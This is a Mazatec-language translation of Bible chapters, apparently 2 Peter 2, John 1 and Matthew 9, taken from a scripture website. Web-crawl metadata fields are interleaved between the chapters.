kjo̱téxoma ra tjín‑la̱ Nainá. Jñà xi̱ta̱ ndiso kìi̱, batoó xi̱ta̱ táhijín ko̱ ni̱ ta mé ra sasén‑la̱; mì kì tsa tsakjón nga chja̱jno‑la̱ jñà ra títsa̱jna ítjòn ra tse nga'ñó tjín‑la̱, jñà ra mì kì tsijen‑ni. 11Skanda jñà ìkja̱li̱ 'tse̱ Nainá ra isa̱ tse nga'ñó tjín‑la̱ ko̱ isa̱ tse kjo̱téxoma tjín‑la̱, mì tsa ko̱'sín chja̱jno‑la̱ ya̱ ngixko̱n Nainá jñà ra títsa̱jna ítjòn nga tse nga'ñó tjín‑la̱. 12Tanga jñà xi̱ta̱ kìi̱, skanda chja̱jnoó‑la̱ jñà kjoa̱ ra mì kì fìya‑la̱. Mì kì síkítsjen kjoa̱ ra 'sín. 'Koa̱á 'sín ngoya‑la̱ koni tsa cho̱ ra xá ko̱'sín kitsin‑ni nga ma ki̱nda̱ba̱ nga si̱'ken. Ko̱ 'koa̱á 'sín ko̱ma'tin koni jñà cho̱ nga ta ya̱á jchi̱jajin i̱sén. 13'Koa̱á ti̱'sín tjín kjo̱hi'in ra 'ki̱‑la̱ koni 'sín tjín kjoa̱'cho ra kisìko̱ xi̱ta̱ ra kj'ií. Nga̱ ni̱'sín 'kia̱ ni̱chjin 'ñó matsja‑la̱ nga ko̱tjín kjoa̱'cho ra 'sín ya̱ a̱jin‑la̱ xi̱ta̱. 'Ñó tse kjo̱sabà‑ni jñà kjoa̱tjé ra 'sín 'kia̱ nga ya̱ síngásòn‑ko̱‑najiòn nga bíjna 'sí, nga̱ ya̱á sítsjako̱ ijo‑la̱ ko̱ kjoa̱'cho ra bíndisoko̱‑no. 14Tsa 'kia̱ jngo chjo̱ón be, ndi̱to̱ón faajin‑la̱; mì kì majngo ikon tsa mì koa̱àtsji‑jé; sasaá bíndisoko̱ ndí xi̱ta̱ ra mì 'ñó tjín ikon; ngi ta jé mejèn tsje‑la̱ ta mé‑ni; xi̱ta̱ ra ko̱'sín 'sío̱n, xá 'koa̱á 'sín 'ya‑ni nga kjo̱hi'in ska̱jin. 15Ijyeé kitsjin-tákon ra ndi̱yá kixi̱. Mì kì ti̱ be‑ni ñánda̱ tjíma, ya̱á i̱nchifìtji̱ngi koni 'sín ki'sìn jè xi̱ta̱ ra kiìchja̱ya ngajo‑la̱ Nainá ra tsi'kìn Balaam, ti‑la̱ xi̱ta̱ ra tsi'kìn Beor. Jè Balaam, jè ra 'ñó kjotsjake to̱n ra mì tsa ko̱ kjo̱hixi̱‑la̱ isikijne. 16Ta nga̱tjì‑la̱ jè kjoa̱'cho ra ki'sìn Balaam jaká‑la̱. Jngo burra ra mì ma‑la̱ chja̱, kiìchja̱‑la̱ koni 'sín chja̱ jngo xi̱ta̱; ko̱ 'koa̱á 'sín kisatechjá‑la̱ kjoa̱ská ra tí'sín jè xi̱ta̱ ra̱kìi̱. 17Jñà xi̱ta̱ ndiso kìi̱, 'koa̱á 'sín ngoya‑la̱ koni jngo nga̱jo̱ nandá ra tsìn‑la̱ nandá, koni ifi jñò ra 'ñó fiikó tjo̱. Ijyeé ko̱'sín tjínè‑la̱ nga ya̱ si̱ìkjiín kjo̱hi'in skanda ta mé ni̱chjin‑ni ya̱ i̱'nde ñánda̱ nga 'ñó jñò chon. 18Ngi ta 'én 'nga ikoón chja̱ ra ni̱mé chjí‑la̱. Ko̱ jñà síchjeén kjoa̱'cho ra sasén‑la̱ ijo‑la̱ nga bíndo̱cha̱‑la̱ jñà ndí xi̱ta̱ ra 'sa̱á bí'tsia̱ nga i̱nchibitjokajin‑la̱ xi̱ta̱ ra 'cho i̱nchisíjchá ijo‑la̱. 19'Koa̱á 'sín tsò‑la̱ jñà ndí xi̱ta̱ ra bíndo̱cha̱‑la̱, nga si̱ìkítsa̱jnandi̱í‑ni a̱'ta 'tse̱ kjoa̱ ra 'cho tjín, tanga ra jñà, skanda mì kì ma bitjojin kjoa̱'cho ra títsa̱jin. 'Kia̱ nga jngo kjoa̱ síkijne‑la̱ xi̱ta̱, ya̱á tjí'tá'ñó‑la̱. 20Tsa ijyeé itjojin jnchro kjoa̱ 'tse̱ jé ra tjín ya̱ i̱sà'nde, 'kia̱ nga kijtsexkon Jesucristo ra tíjna ítjòn‑ná ra ma‑la̱ bachrjekàjin‑ná kjo̱hi'in; tanga tsa ya̱ ska̱jin india‑ni kjoa̱'cho ra tjín ya̱ i̱sà'nde, isa̱á ta 'cho ko̱ma'tin india‑ni, nda mí 'koa̱‑ni koni nga 'sa̱ ítjòn. 21Isa̱á‑la nda‑la̱ jñà xi̱ta̱ kìi̱ tsa mì kijtsexkon ndi̱yá kixi̱ 'tse̱ Nainá, nga̱ í'tsi̱ín kijì‑la̱ kjo̱téxoma tsje‑la̱ Nainá ra ki'tsì‑la̱ 'kia̱ nga ijye kijtsexkon. 22Tanga 'koa̱á 'sín i̱nchima'tin jñà xi̱ta̱ kìi̱, koni 'sín tsò 'én kixi̱ ra tsò: \"Jè nañá, ti̱jé kjine india‑ni jè ndábisò‑la̱\", ko̱ jè ra tsò: \"'Kia̱ nga ijye nikindòya jngo chi̱nga̱, indiaá ya̱ fikjajnajin india‑ni ya̱ ñánda̱ nga i̱jncha ndási.\"\n2 Pedro 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Pet\/2","date":"2013-12-07T00:51:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052912\/warc\/CC-MAIN-20131204131732-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":876,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga ti̱sa̱ tàts'en‑la̱ kjoa̱, jè 'Én, jyeé k'oa̱ tíjna‑né. Ya̱á tíjnako̱ Nainá. Jè 'Én, Nainá‑né. 2Ko̱ ya̱á tíjnako̱ Nainá skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. 3Jè Nainá, k'e̱ nga tsibíndaà ngats'iì tsojmì xi tjín, i̱t'aà ts'e̱é 'Én tsibíndaà; nì mé tsojmì tjín xi mì i̱t'aà ts'e̱ kisindaà. 4Jè 'Én, i̱t'aà ts'e̱‑né nga títsa̱jnakon xi̱ta̱; jè kjoa̱ nga títsa̱jnakon xi̱ta̱, jè‑né ni'ín xi síhiseèn‑la̱ ngats'iì xi̱ta̱. 5Jè ni'ín xi síhiseèn ñánda jñò choòn, ote‑né, ko̱ jè kjoa̱ jñò mìkiì ma síkijne‑la̱ ni'ín nga síkits'o. 6Tsibìjna jngoò xi̱ta̱ xi 'mì Juan xi Nainá kisìkasén. 7Jè j'iì tsjá 'én i̱t'aà ts'e̱ ni'ín xi síhiseèn, mé‑ne ngats'iì xi̱ta̱ ko̱kjeiín‑la̱ koni s'ín kiìchja̱ya. 8Mìtsà jè Juan ni'ín xi síhiseèn‑la̱ xi̱ta̱, tà 'én j'iì tsjá i̱t'aà ts'e̱ ni'ín xi síhiseèn‑la̱ xi̱ta̱. 9Jè ni'ín xi nguì kixi̱ kjoa̱ xi síhiseèn‑la̱ ngats'iì xi̱ta̱, ya̱á tínchrobá i̱ i̱sò'nde. 10I̱í tsibìjna i̱sò'nde, ko̱ i̱t'aà ts'e̱é kisindaà i̱sò'nde, ta̱nga jñà xi̱ta̱ i̱sò'nde mìkiì kijtseèxkon. 11J'iì nangui ñánda ts'e̱, ta̱nga jñà xi̱ta̱‑la̱ mìkiì kiskoétjò. 12Ngats'iì xi̱ta̱ xi kiskoétjò ti̱koa̱ kòkjeiín‑la̱ jñà 'én xi kiìchja̱, k'oa̱á s'ín kitjò'nde‑la̱ nga Ki'ndí‑la̱ Nainá ma, 13ta̱nga mìtsà koi kjoa̱‑la̱ nga jní kits'iìn‑jiìn, ni̱ mìtsà koi kjoa̱‑la̱ nga i̱t'aà ts'e̱ xi̱ta̱ kits'iìn; koi‑né nga i̱t'aà ts'e̱ Nainá kits'iìn. 14Jè 'én, xi̱ta̱á komà, i̱í tsibìjnajiìn‑naje̱n. Ki'ya‑náje̱n kjoa̱ jeya‑la̱ nga Ki'ndí tà jngoò‑la̱ Nainá. 'Ñó tjín‑la̱ kjo̱ndaà ko̱ kjoa̱kixi̱. 15Juan kitsjaà 'én i̱t'aà ts'e̱, kitsò: ―Jè jèe̱ xi k'oa̱s'ín kixan‑nò k'e̱ nga kixan‑nò: \"Jè xi sa̱ nchrobá tji̱ngui‑na̱, jè ìsa̱ tíjna ítjòn‑na̱, nga ìsa̱ kjòtseé tíjna koni 'a̱n.\" 16'Ñó tse kjo̱ndaà kitjoé‑ná ngats'iaá, sa̱ 'ñó, sa̱ 'ñó ko̱chikon‑t'ian. 17Jè kjo̱tíxoma, i̱t'aà ts'e̱ Moisés j'iì‑ne, ta̱nga xi kjo̱ndaà ko̱ kjoa̱kixi̱, i̱t'aà ts'e̱ Jesucristo j'iì‑ne. 18Ni̱ sa̱á jngoò xi̱ta̱ beèxkon kó kji Nainá. Tà jè xi ki'ndí ta̱jngoò‑la̱ xi ya̱ tíjnat'aà‑la̱, béno̱jmí kixi̱‑ná i̱t'aà ts'e̱. 19Jñà 'én koi xi kitsjaà Juan, k'e̱ nga jñà xi̱ta̱ judío xi títsa̱jna Jerusalén kisìkasén‑la̱ no̱'miì ko̱ xi̱ta̱ levita ñánda tíjna Juan nga kiskònangui‑la̱, kitsò‑la̱: ―¿Yá xi̱ta̱‑ne ji̱? 20Juan tsibéno̱jmí kixi̱‑né; mìkiì tsakajna'ma, kitsò: ―Mìtsà 'a̱n xi Cristo, xi̱ta̱ xi xó kisìkasén‑ne Nainá. 21Xi̱ta̱ koi ìjngoò k'a kiskònangui‑la̱ kitsò‑la̱: ―¿Yá‑né ngaji̱? ¿A ji̱‑né Elías? Juan kitsò: ―Majìn, mìtsà 'a̱n. ―¿A ji̱‑né xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá xi tjínè‑la̱ nga kjoi̱í? Juan kitsò: ―Majìn, mìtsà 'a̱n. 22Ìjngoò k'a kiskònangui‑la̱, kitsò‑la̱: ―Ko̱t'ìn‑náje̱n, yá‑ne ji̱, mé‑ne nga ko̱ma ko̱nguíko̱‑la̱je̱n 'én jñà xi̱ta̱ xi kàsíkasén‑naje̱n. ¿Mé 'én xi k'oi̱‑náje̱n i̱t'aà tsi̱ji? 23K'e̱é kitsò Juan: ―'A̱n‑ná xi̱ta̱ xi 'ñó chjàya i̱'nde i̱t'aà xìn ñánda nangui kixì choòn: \"Tjandaà kixio̱o ndi̱yá‑la̱ Nainá\", koni s'ín kitsò Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 24Jñà xi̱ta̱ xi ijchò kjònangui‑la̱ Juan, xi̱ta̱ fariseo‑né. 25Ìjngoò k'a kiskònangui‑la̱, kitsò‑la̱: ―Tsà mìtsà ji̱ xi Cristo, ni̱ Elías, ni̱ jè xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, mé‑ne xi̱ta̱ 'nè‑ne bautizar. 26Kiìchja̱ Juan kitsò: ―'A̱n tà nandá s'iìn‑na̱ bautizar xi̱ta̱, ta̱nga tíjnajiìn jngoò‑nò xi jñò mìkiì yaxkon, 27jè xi i̱skan kjoi̱í, jè xi ìsa̱ tíjna ítjòn koni 'a̱n; skanda mìkiì tjí'nde‑na̱ nga 'a̱n skíjnda̱'ñoá xo̱x'ín‑la̱ xo̱jté‑la̱. 28Ngats'iì kjoa̱ koi, ján na̱xa̱ndá Betania nga k'oa̱s'ín komà, na̱xa̱ndá xi kijna xijngoaà ndá je Jordán, ñánda kis'iìn bautizar xi̱ta̱ jè Juan. 29Nga komà nchijòn, Juan kijtseè Jesús nga tínchrobákon, kitsò: ―¡Chítsejèn‑là, jè jèe̱ xi síkasén Nainá k'oa̱á ngaya‑la̱ koni Orrè Ki'ndí xi faáxìn jé‑la̱ xi̱ta̱ i̱sò'nde! 30Jè jèe̱ xi k'oa̱ kixan‑nò k'e̱ nga kixan: \"Nchrobá tji̱ngui jngoò‑na xi̱ta̱ x'i̱n xi ìsa̱ tíjna ítjòn‑na̱ nga ìsa̱ kjòtseé tíjna koni 'a̱n.\" 31Ti̱koa̱á 'a̱n, mìkiì bexkoan yá‑né jè. Koií kjoa̱‑la̱ nga ta nandá s'in‑na bautizar xi̱ta̱ mé‑ne jñà xi̱ta̱ na̱xa̱ndá Israel skoe̱xkon‑ne. 32Juan, k'oa̱s'ín kitsjaà 'én nga kitsò: ―Kìjtseè‑ná jè Ini̱ma̱ Tsjeè‑la̱ Nainá nga itjojen‑ne ngajmiì koni kji ni̱se paloma kji, tsibìjnasòn‑la̱ Jesús. 33'A̱n, kj'eè kì bexkoan, ta̱nga jè Nainá xi kisìkasén‑na̱ nga ko̱ nandá s'iìn‑na bautizar xi̱ta̱, kitsò‑na: \"Jè xi jchi̱i nga ki̱tjojenè‑la̱ Ini̱ma̱ Tsjeè‑na̱ nga ya̱ kíjnasòn‑la̱, jè‑né xi ko̱ Ini̱ma̱ Tsjeè‑na̱ s'i̱in‑ne bautizar xi̱ta̱.\" 34'A̱n, k'oa̱á s'ín kìjtseè, k'oa̱á ma‑ne k'oa̱s'ín tsjaà 'én nga Jesús, jè xi Ki'ndí‑la̱ Nainá. 35Nga komà nchijòn, Juan ya̱á tíjna ìjngoò k'a; tji̱ko̱ jò xi̱ta̱ xi kota'yàt'aà‑la̱. 36Juan kijtseèxkon Jesús nga ti̱koa̱ ya̱ tsóba, kitsò: ―¡Chítsejèn‑là, jè jèe̱ xi orrè‑la̱ Nainá [xi ki̱yátjì jé‑la̱ xi̱ta̱]! 37Ingajò xi̱ta̱ koi, k'e̱ nga kiì'nchré koni s'ín kitsò Juan, kiìtji̱ngui‑la̱ Jesús. 38Jesús k'e̱ nga kisìkátjiya, kijtseè nga xi̱ta̱ tji̱ngui‑la̱ kitsò‑la̱: ―¿Mé xi binchaàtsjioò? Ingajò xi̱ta̱ koi, kiìchja̱, kitsò: ―Maestro, ¿ñánda tijni? 39Jesús kitsò‑la̱: ―Nchrobá, chítsejèn. I̱kjoàn kiìtji̱ngui‑la̱, kijtseè ñánda bìjna Jesús. Ya̱á tsibìtsa̱jnako̱ nga jye kjòhoxòn, ijchò‑la tsà xi ñijòn. 40Ingajò xi̱ta̱ koi, jñà xi kiìtji̱ngui‑la̱ Jesús k'e̱ nga kiì'nchré‑la̱ koni s'ín kitsò Juan, jngoò xi 'mì Andrés xi 'ndse̱ ma Simón Pedro. 41Andrés kiì kátsji ítjòn 'ndse̱ xi 'mì Simón, kitsò‑la̱: ―Jyeé kàyaxkon‑je̱n jè Mesías [xi xó kisìkasén‑ne Nainá]. Jè 'én Mesías, Cristo tsòya‑ne. 42Andrés kiìko̱ Simón xi 'ndse̱ ma ya̱ ñánda tíjna Jesús. Jesús, k'e̱ nga kijtseè, kitsò‑la̱: ―Ngaji̱‑né xi 'mì‑lè Simón xi ki'ndí‑la̱ ma Jonás. I̱'ndei̱, Cefas k'oín‑lè ('én xi Pedro tsòya‑ne). 43Nga komà nchijòn, Jesús k'oa̱á s'ín kisìkítsjeèn nga ján kjoi̱ nangui Galilea. Kiskaàjiìn Felipe, kitsò‑la̱: ―Nchrobá tji̱ngui‑ná. 44Felipe, ya̱á i̱'nde‑la̱ na̱xa̱ndá Betsaida, ya̱ ñánda i̱'nde‑la̱ Andrés ko̱ Pedro. 45Felipe kiì kátsji Natanael, kitsò‑la̱: ―Jè xi̱ta̱ xi oxki̱t'aà kjo̱tíxoma xi kiskiì Moisés ko̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, jyeé kàyaxkon‑je̱n nga jè Jesús xi ki'ndí‑la̱ José xi Nazaret i̱'nde‑la̱. 46Natanael, kitsò‑la̱ Felipe: ―Ján na̱xa̱ndá Nazaret, ¿a tjín jngoò xi ndaà xi̱ta̱ xi ya̱ ki̱tjokàjiìn‑ne? Felipe kitsò: ―Nchroboí, chítsejèn‑la̱. 47Jesús, k'e̱ nga kijtseè Natanael nga tínchrobákon, kitsò: ―Jè xi̱ta̱ jè xi nguì kixi̱ kjoa̱ nga xi̱ta̱ Israel nga ndaà tísíjchá yijo‑la̱ ko̱ mìkiì kona̱cha̱n. 48Natanael kitsò: ―¿Kó s'ín ma‑ne nga yaxkon‑ná? Jesús kitsò: ―K'e̱é kòbe‑lè k'e̱ nga ti̱kj'eè chja̱‑lè Felipe nga tijna'ngui yá toò iko̱. 49Natanael kitsò: ―Maestro, ngaji̱‑né xi Ki'ndí‑la̱ Nainá; ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ na̱xa̱ndá Israel. 50Kiìchja̱ Jesús kitsò: ―¿A koií‑né nga xan‑lè: Kòbe‑lè k'e̱ nga tijna'ngui yá toò iko̱ nga mokjeiín‑lè? K'oa̱á xan‑lè nga ìsa̱ 'ñó tse kjo̱xkón jcha̱á‑ìsi. 51Ìjngoò k'a kiìchja̱ Jesús kitsò: ―Nguì o̱kixi̱ xi xan‑nò, na̱chrjein xi sa̱ f'iì ìsa̱ jcha̱xkoòn ngajmiì nga ti̱x'á koa̱ jñà àkja̱le̱‑la̱ Nainá fìmijìn koa̱ nchrobájen nga tjímat'aà‑na xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱.\nSan Juan Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/","date":"2013-12-06T19:34:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052462\/warc\/CC-MAIN-20131204131732-00018-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":65,"top_langs":"{\"maa_Latn_score\": 1.000005841255188}","num_words":995,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jahas'en Jesús jè chitso, jahatot'aà xijngoaà ndáchikon koa̱ ijchò‑ne na̱xa̱ndá‑la̱. 2Ya̱ ijchòko̱ jngoò‑la̱ xi̱ta̱ xi mìkiì ma síhiníyá yijo‑la̱; kjinasòn‑la̱ na̱chan‑yá. K'e̱ nga kijtseè Jesús nga jñà xi̱ta̱ koi mokjeiín‑la̱ i̱t'aà ts'e̱, kitsò‑la̱ jè xi̱ta̱ xk'én: ―Ji̱ ndí na̱'èn, tjiì‑la̱ nga'ñó yijo‑lè; jé‑lè jye kichàat'aà‑lè. 3Jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, tjín i'nga xi kitsò kjo̱hítsjeèn‑la̱: \"Xi̱ta̱ jè, Nainá chja̱jno‑la̱.\" 4Jesús ni̱to̱ón kijtseèya‑la̱ koni s'ín nchisíkítsjeèn, kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò nga ch'o tsò‑ne? 5¿Mé xi ìsa̱ chiba 'in tjín, tsà xán‑la̱ jè xi̱ta̱ xi xk'én: \"Jé‑lè jye kichàat'aà‑lè\", ko̱ tsà xán‑la̱: \"Ti̱sítji̱in koa̱ ti̱tjeí\"? 6Kokoò‑nò nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tjí'nde‑na nga sìjchàat'aà‑la̱ jé‑la̱ xi̱ta̱ i̱ i̱sò'nde. K'e̱é kitsò‑la̱ jè xi̱ta̱ xk'én: ―Ti̱sítji̱in, chjoí na̱chan‑lè, t'in‑ne ni'ya‑lè. 7K'e̱é tsasítje̱n jè xi̱ta̱ xk'én, kiì‑ne ni'ya‑la̱. 8K'e̱ nga kijtseè jñà xi̱ta̱ nga tsasítje̱n‑ne jè xi̱ta̱ xk'én, tà k'oa̱á ko̱ma‑la̱; k'e̱é jeya kisìkíjna Nainá nga k'oa̱s'ín tse nga'ñó tsjá‑la̱ xi̱ta̱ i̱sò'nde. 9Jesús kiì‑ne i̱'nde jè. K'e̱ nga tífì, kijtseè jngoò xi̱ta̱ xi 'mì Mateo xi tíjnat'aà ími̱xa̱ ya̱ ñánda síkíchjítjì tsojmì, to̱n xi fì Roma; kitsò‑la̱: ―Nchrobátji̱ngui‑ná. K'e̱é tsasítje̱n Mateo, kiìtji̱ngui‑la̱ Jesús. 10K'e̱ nga tíjnat'aà ími̱xa̱ Jesús nga tíkjèn ya̱ ni'ya‑la̱ Mateo, kjìn xi̱ta̱ j'iì xi ti̱koa̱ tsojmì síkíchjítjì ko̱ xi̱ta̱ xi jé tjín‑la̱. Ti̱koa̱ tsibìtsa̱jnat'aà ími̱xa̱, tsakjèn‑ko̱ Jesús ko̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱. 11Ta̱nga jñà xi̱ta̱ fariseo, k'e̱ nga kijtseè xi̱ta̱ koi, kiskònangui‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, kitsò‑la̱: ―¿Mé‑ne k'oa̱s'ín‑ne maestro‑nò nga xi̱ta̱ xi síkíchjítjì tsojmì ko̱ xi̱ta̱ jé kjèn‑ko̱‑ne? 12Kiì'nchré Jesús, k'e̱é kitsò‑la̱: ―Jñà xi̱ta̱ xi mì ch'in tjín‑la̱, mì chji̱ne̱xkiì mochjeén‑la̱, jñà‑né xi̱ta̱ xi xk'én xi mochjeén‑la̱ chji̱ne̱xkiì. 13Tanguió chíta'yà ìsa̱ kó tsòya‑ne Xo̱jo̱n‑la̱ Nainá xi tsò: \"'A̱n mejèn‑na nga kàtas'e‑nò kjo̱hi̱ma̱takòn; kì ta̱ tsjaà cho̱ nìk'eèn kjo̱tjò xi 'a̱n 'biì‑ná.\" Mìtsà koi xá j'i̱‑na 'a̱n nga j'i̱kjaàjñaà xi̱ta̱ kixi̱, jñà‑né xi̱ta̱ xi tjín‑la̱ jé nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. 14Jè Juan xi kis'iìn bautizar xi̱ta̱, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ j'iìkon Jesús ñánda tíjna koa̱ kiskònangui‑la̱, kitsò: ―Ngaje̱n ko̱ xi̱ta̱ fariseo kjit'aà na̱chrjein bitsa̱jnachjan‑je̱n. ¿Mé‑ne jñà xi̱ta̱ tsi̱ji mìkiì bìtsa̱jnachjan‑ne? 15Jesús kitsò‑la̱: ―¿A baá bìtsa̱jna xi̱ta̱ k'e̱ nga s'eí tjín k'e̱ nga títsa̱jna osen xi kòbixan? Ta̱nga ki̱jchò na̱chrjein k'e̱ nga tjáxìn‑la̱ x'i̱n xi kòbixan, k'e̱‑né nga kítsa̱jnachjan xi̱ta̱. 16'Jngoò nikje i̱baà mìkiì ma si̱jto‑ne ko̱ nikje xi̱tse̱; nga jè nikje xi̱tse̱, kjeèn‑yó‑né koa̱ ko̱tejnda‑né jè nikje i̱baà. Ìsa̱ tse ko̱ma ñánda kixajndà kji. 17Ti̱koa̱á mìkiì ma si̱nchá xán ixiì jè chrjoa̱ jchínga, jè xán ixiì ko̱tijnda‑né jè chrjoa̱ jchínga koa̱ xíxteèn jè xán. Ti̱koa̱á chi̱ja jè chrjoa̱. Jè xán ixiì, chrjoa̱ xi̱tse̱é si̱nchá. K'oa̱á s'ín ndaà si̱nchá ingajò. 18Ti̱k'e̱é‑ne nga tíchja̱ Jesús, ijchò jngoò xi̱ta̱ sko̱‑la̱ jñà xi̱ta̱ judío, tsasìxkó'nchit'aà‑la̱, kitsò‑la̱: ―Ndí tsòti‑na̱, sa̱ kò jye k'en; ta̱nga tsà ji̱ k'oín ko̱ tsà kjòt'aà‑la̱ ndsei̱i, kíjnakon ìjngoò k'a‑ne. 19Tsasítje̱n Jesús, kiìko̱ jè xi̱ta̱ sko̱‑la̱ ko̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱. 20K'e̱ nga nchifì, jngoò chjo̱ón ijchòtji̱ngui‑la̱; chjo̱ón jè, jyeé ko̱ tejò nó xk'én nga tíxíxteèn‑la̱ jní. Kiì kasìt'aà chrañà‑la̱ Jesús ya̱ i̱jto̱n íts'i̱n nga kitsobà'ñó i̱tjòn nikje‑la̱. 21K'oa̱á s'ín tíhóko̱ ini̱ma̱‑la̱: \"Tsà tà jè sìkoa̱a nikje‑la̱, ko̱ndaá‑na.\" 22Jè Jesús kisìkáfaya, kijtseè chjo̱ón jè, kitsò‑la̱: ―Ndí nea̱, tjiì‑la̱ nga'ñó yijo‑lè. Kòmandaà‑ne koií‑né nga mokjeiín‑lè i̱t'aà ts'a̱n. Ti̱jè‑ne hora kjòndaà‑ne chjo̱ón jè. 23K'e̱ nga ijchò Jesús ya̱ ni'ya‑la̱ jè xi̱ta̱ sko̱‑la̱ xi̱ta̱ judío, kijtseè música xi nchisíkjane nga jye ki̱hijiìn mik'en koa̱ kijtseè nga fìjen fìkjá xi̱ta̱ nga 'ñó nchikjindáya. 24Kitsò‑la̱: ―Tìtjo̱o ni'ya; jè tsòti mìtsà kòbiyaà, tà kjinafé‑né. Jñà xi̱ta̱, tà tsijnòkeè‑né k'e̱ nga o̱kitsò Jesús. 25Ta̱nga Jesús tsachrje ni'ya ngats'iì xi̱ta̱ xi títsa̱jna; k'e̱é jahas'en ni'ya, kiskoé tsja jè tsòti, koa̱ jè tsòti tsasítje̱n. 26Nga kijndà i̱'nde jè, tsabísòn 'én i̱t'aà ts'e̱ kjoa̱ xi ko̱ma. 27K'e̱ nga itjo‑ne Jesús i̱'nde jè, jò xi̱ta̱ xi mìkiì tsejèn‑la̱ kiìtji̱ngui‑la̱; 'ñó kiìchja̱, kitsò‑la̱: ―¡Jcha̱hi̱ma̱takòn‑náje̱n, ngaji̱ xi ya̱ nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga ji̱ tijna ngajo‑la̱]! 28K'e̱ nga jahas'en ni'ya Jesús, jñà xi̱ta̱ xi mìkiì tsejèn‑la̱ ijchòkon. Jesús, kiskònangui‑la̱, kitsò‑la̱: ―¿A mokjeiín‑nò nga ko̱ma‑na sìndaà‑nò? K'e̱é kitsò jñà xi̱ta̱ xi mìkiì tsejèn‑la̱: ―Jon, Na̱'èn. Ko̱maá‑lè. 29Jesús k'e̱é kisìko̱ jñà xko̱n, kitsò‑la̱: ―Jñò, koni s'ín mokjeiín‑nò, k'oa̱s'ín kàtandaà‑nò. 30Jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, kitáx'a̱‑ne xko̱n koa̱ kjòndaà‑ne. Jesús 'ñó tsibínè‑la̱ nga kitsò‑la̱: ―Ndaà t'e̱en kinda̱ nga mì yá xi̱ta̱ xi skoe̱ kjoa̱ koi. 31Ta̱nga jñà xi̱ta̱ koi, k'e̱ nga itjo‑ne ni'ya, ti̱k'e̱é tsibíts'ia̱ nga tsibéno̱jmí nga kijndà i̱'nde jè, kós'ín kis'iìn Jesús. 32K'e̱ nga jye nchifì‑ne jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, j'iìko̱ jngoò‑la̱ Jesús xi̱ta̱ xi mìkiì ma chja̱ nga ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. 33Jesús k'e̱ nga jye tsachrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ jè xi̱ta̱ xi mìkiì ma chja̱, ti̱k'e̱é komà kiìchja̱‑ne. Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna tà kjòxkón‑la̱. Kitsò: ―Kj'eè kiì 'yaá kjoa̱ xi k'oa̱s'ín ma i̱ i̱'nde Israel. 34Ta̱nga jñà xi̱ta̱ fariseo kitsò: ―Jè sobà xi̱ta̱ sko̱‑la̱ xi̱ta̱ nei̱í tsjá‑la̱ nga'ñó nga ma‑la̱ ochrjekàjiìn ini̱ma̱ ch'o‑la̱ nei̱í xi tjín‑la̱ xi̱ta̱. 35Jesús tsajmeèjiìn ñánda na̱xa̱ndá iì ko̱ na̱xa̱ndá jtobá nga tsakóya 'én‑la̱ Nainá ya̱ ni'ya i̱ngo̱ sinagoga ts'e̱ na̱xa̱ndá koi. Kiìchja̱ya 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá; ti̱koa̱ kisìndaà‑ne ngats'iì ch'in xi tjín‑la̱ xi̱ta̱ nga xki̱ xi ján ijòjno ijòt'aà yijo‑la̱. 36K'e̱ nga kijtseè Jesús nga kjìn ma xi̱ta̱, kjòhi̱ma̱keè nga 'ñó makájno‑la̱ ko̱ mì yá xi osìko̱ nga jye títsjohoya k'oa̱á ngaya‑la̱ koni orrè xi tsjìn‑la̱ paxtò xi ko'ndà. 37K'e̱é kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Xi o̱kixi̱, 'ñó tse xá tjín xi i̱t'aà ts'e̱ 'Én‑la̱ Nainá koni s'ín ma k'e̱ nga kjìn tsojmì majchá ta̱nga jñà xi̱ta̱ chi̱'nda xi síxá, chiba ma‑ne; 38tìtsi'ba‑là jè Nei‑la̱ xá, kàtasíkasén‑ìsa xi̱ta̱ chi̱'nda xi koi̱ìxkó tsojmì koi.\nSan Mateo 